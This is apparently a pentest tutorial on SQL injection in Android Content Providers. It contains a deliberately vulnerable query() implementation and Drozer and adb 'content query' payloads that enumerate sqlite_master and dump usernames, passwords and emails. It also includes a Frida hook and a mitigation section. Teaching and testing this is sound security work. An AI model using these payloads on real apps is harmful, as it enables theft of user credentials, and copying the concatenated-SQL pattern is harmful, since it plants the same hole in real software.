Introduction
Android Content Providers are a fundamental component for managing access to structured data. They offer a standardized interface for applications to share data, whether it’s stored in a database, a file, or over the network. While designed for secure inter-process communication (IPC), a common and critical vulnerability can arise: SQL Injection. When a Content Provider improperly sanitizes user-supplied input to its query methods, attackers can inject malicious SQL commands, potentially leading to unauthorized data exfiltration, modification, or even denial of service. This guide will provide a practical, step-by-step approach to identifying and exploiting SQL Injection vulnerabilities in Android Content Providers, focusing on data exfiltration techniques.
Understanding Android Content Providers
Content Providers are one of the four core Android application components. They abstract away the underlying data storage mechanism, offering a uniform URI-based interface for querying, inserting, updating, and deleting data. They are crucial for sharing data between different applications or within an application itself across different processes.
Key aspects of Content Providers:
- URI Structure: Data is accessed via URIs, typically in the format
content://authority/path/id. Theauthorityidentifies the Content Provider, and thepathandidspecify the data being requested. - Methods: The primary methods are
query(),insert(),update(), anddelete(). Thequery()method is most relevant for SQL Injection, as it often directly constructs SQL queries based on user input. - Permissions: Access to Content Providers can be protected by Android permissions, specified in the Android Manifest. However, even with permissions, SQL Injection can bypass intended access controls if the data is accessible to the provider.
The SQL Injection Vulnerability in Content Providers
SQL Injection vulnerabilities in Content Providers often stem from unsafe handling of the selection and selectionArgs parameters passed to the query() method. If these parameters are directly concatenated into the SQL query without proper sanitization or if raw queries are used with unsanitized input, an attacker can manipulate the query logic.
Consider a vulnerable query() implementation:
@Overridepublic Cursor query(@NonNull Uri uri, String[] projection, String selection,String[] selectionArgs, String sortOrder) { SQLiteQueryBuilder queryBuilder = new SQLiteQueryBuilder(); queryBuilder.setTables(TABLE_NAME); // ... other URI matching logic ... // Vulnerable: Directly appending selection without proper sanitization String sql = "SELECT " + TextUtils.join(",", projection) + " FROM " + TABLE_NAME + " WHERE " + selection; // Or, if selectionArgs are not properly used with '?' placeholders, they can be vulnerable too. // In this specific example, 'selection' itself is the direct injection point. SQLiteDatabase db = mOpenHelper.getReadableDatabase(); return db.rawQuery(sql, selectionArgs); // selectionArgs here might be empty or misused}
An attacker could craft a selection string like id = 1 UNION SELECT name, password FROM users-- to bypass the intended query and retrieve data from the users table.
Identifying Vulnerable Content Providers
1. Manifest Analysis
Examine the application’s AndroidManifest.xml for <provider> tags. Look for exported providers (android:exported="true") or providers without explicit export status (defaulting to true if target API < 17).
<provider android:name=".data.VulnerableProvider" android:authorities="com.example.vulnerableapp.provider" android:exported="true" />
2. Using pm dump
The Android Debug Bridge (ADB) pm dump command can list exposed Content Providers for a given package:
adb shell pm dump com.example.vulnerableapp | grep -A 5 "Provider"
3. Drozer for Enumeration
Drozer is an excellent tool for identifying exposed components. Use scanner.provider.finduris to discover Content Provider URIs:
dz> run scanner.provider.finduris -a com.example.vulnerableapp
Then, test for SQL Injection using scanner.provider.injection:
dz> run scanner.provider.injection -a com.example.vulnerableapp
Drozer can often automate the discovery of basic injection points.
4. Manual Query Testing with content query
The content query shell command is invaluable for manual testing. To test for basic injection:
adb shell content query --uri content://com.example.vulnerableapp.provider/data --projection "_id" --where "1=1 AND 1=1"adb shell content query --uri content://com.example.vulnerableapp.provider/data --projection "_id" --where "1=1 AND 1=2"
If the results differ (e.g., the first returns data, the second returns nothing), the selection clause is likely being interpreted. Now, try an injection payload:
adb shell content query --uri content://com.example.vulnerableapp.provider/data --projection "_id" --where "id=' OR 1=1--"
If this returns all records, SQL Injection is confirmed.
Exploiting SQL Injection for Data Exfiltration
Phase 1: Database Schema Enumeration
Once an injection point is found, the next step is to understand the database schema. SQLite (the default Android database) stores schema information in sqlite_master.
1. Enumerate Table Names
Use UNION-based injection to query sqlite_master:
adb shell content query --uri content://com.example.vulnerableapp.provider/data --projection "_id" --where "id=1 UNION SELECT tbl_name FROM sqlite_master WHERE type='table'--"
This query attempts to trick the provider into returning table names. You might need to adjust the number of columns in your UNION SELECT to match the original projection. If the original projection was _id, name, value (3 columns), you’d need:
adb shell content query --uri content://com.example.vulnerableapp.provider/data --projection "_id,name,value" --where "id=1 UNION SELECT tbl_name, sql, 1 FROM sqlite_master WHERE type='table'--"
The 1 is a placeholder to match the column count. Iterate, adjusting the number of placeholder columns until you get a valid result. The output will show table names in one of the columns.
2. Enumerate Column Names
Once you have a table name (e.g., users), you can query sqlite_master again or use PRAGMA table_info(table_name) to get column details.
adb shell content query --uri content://com.example.vulnerableapp.provider/data --projection "_id,name,value" --where "id=1 UNION SELECT sql, 1, 2 FROM sqlite_master WHERE type='table' AND tbl_name='users'--"
The sql column in sqlite_master for tables often contains the CREATE TABLE statement, revealing column names and types. Alternatively, a different injection approach might be needed to use PRAGMA:
adb shell content query --uri content://com.example.vulnerableapp.provider/data --projection "_id" --where "id=1 UNION SELECT name FROM sqlite_master WHERE type='table' AND name LIKE 'users' AND 1=0 UNION SELECT sql FROM sqlite_master WHERE type='table' AND name = 'users'--"
This is a more complex UNION to try and retrieve the CREATE TABLE statement to learn column names.
Phase 2: Data Exfiltration
With table and column names (e.g., table users with columns username, password, email), you can now exfiltrate data.
adb shell content query --uri content://com.example.vulnerableapp.provider/data --projection "_id,name,value" --where "id=1 UNION SELECT username, password, email FROM users--"
This will retrieve all usernames, passwords, and emails from the users table. Remember to adjust the number of columns in your UNION SELECT to match the original Content Provider’s projection.
You can also use functions like GROUP_CONCAT to combine multiple rows into a single string, especially useful if the Content Provider only returns a single row or you want to retrieve many columns at once.
adb shell content query --uri content://com.example.vulnerableapp.provider/data --projection "_id" --where "id=1 UNION SELECT GROUP_CONCAT(username || ':' || password) FROM users--"
Advanced Techniques: Frida Hooks for Observation
While direct command-line exploitation is powerful, Frida can assist in understanding Content Provider interactions, especially when the target app is complex or heavily obfuscated. You can hook the query() method to inspect the incoming selection and selectionArgs in real-time.
// frida_hook.jsJava.perform(function() { var ContentProvider = Java.use('android.content.ContentProvider'); ContentProvider.query.overload('android.net.Uri', '[Ljava.lang.String;', 'java.lang.String', '[Ljava.lang.String;', 'java.lang.String').implementation = function(uri, projection, selection, selectionArgs, sortOrder) { console.log("[ContentProvider.query] URI: " + uri); console.log("[ContentProvider.query] Selection: " + selection); if (selectionArgs != null) { for (var i = 0; i < selectionArgs.length; i++) { console.log("[ContentProvider.query] selectionArgs[" + i + "]: " + selectionArgs[i]); } } // Call the original method return this.query(uri, projection, selection, selectionArgs, sortOrder); };});
Run this with Frida:
frida -U -l frida_hook.js -f com.example.vulnerableapp --no-pause
This hook will print the arguments passed to every ContentProvider.query() call within the application, helping you understand how the app itself interacts with its providers and where potential injection points might exist.
Mitigation
For developers, preventing Content Provider SQL Injection is critical:
- Parameterized Queries: Always use parameterized queries or bind arguments through the
selectionArgsparameter with?placeholders in theselection. Never concatenate user input directly into SQL statements. - Input Validation: Strictly validate all user input.
- Least Privilege: Restrict access to Content Providers using appropriate permissions.
- Avoid
rawQuery(): Use higher-level APIs likeSQLiteDatabase.query()and ensure proper usage ofselectionArgs.
Conclusion
Android Content Provider SQL Injection remains a serious threat, allowing attackers to bypass intended data access controls and exfiltrate sensitive information. By understanding how these vulnerabilities arise and leveraging tools like adb content query and Drozer, penetration testers can effectively identify and exploit them. Developers must prioritize secure coding practices, especially the correct use of parameterized queries, to safeguard data managed by Content Providers. This practical guide equips you with the knowledge to perform such assessments and contributes to building more secure Android applications.
Android Mobile Specs & Compare Directory
Are you researching mobile hardware properties, processor SoCs, GPU chipsets, or RAM configurations? Access our complete specs catalog to compare up to 5 devices side-by-side!
Compare Devices Specs →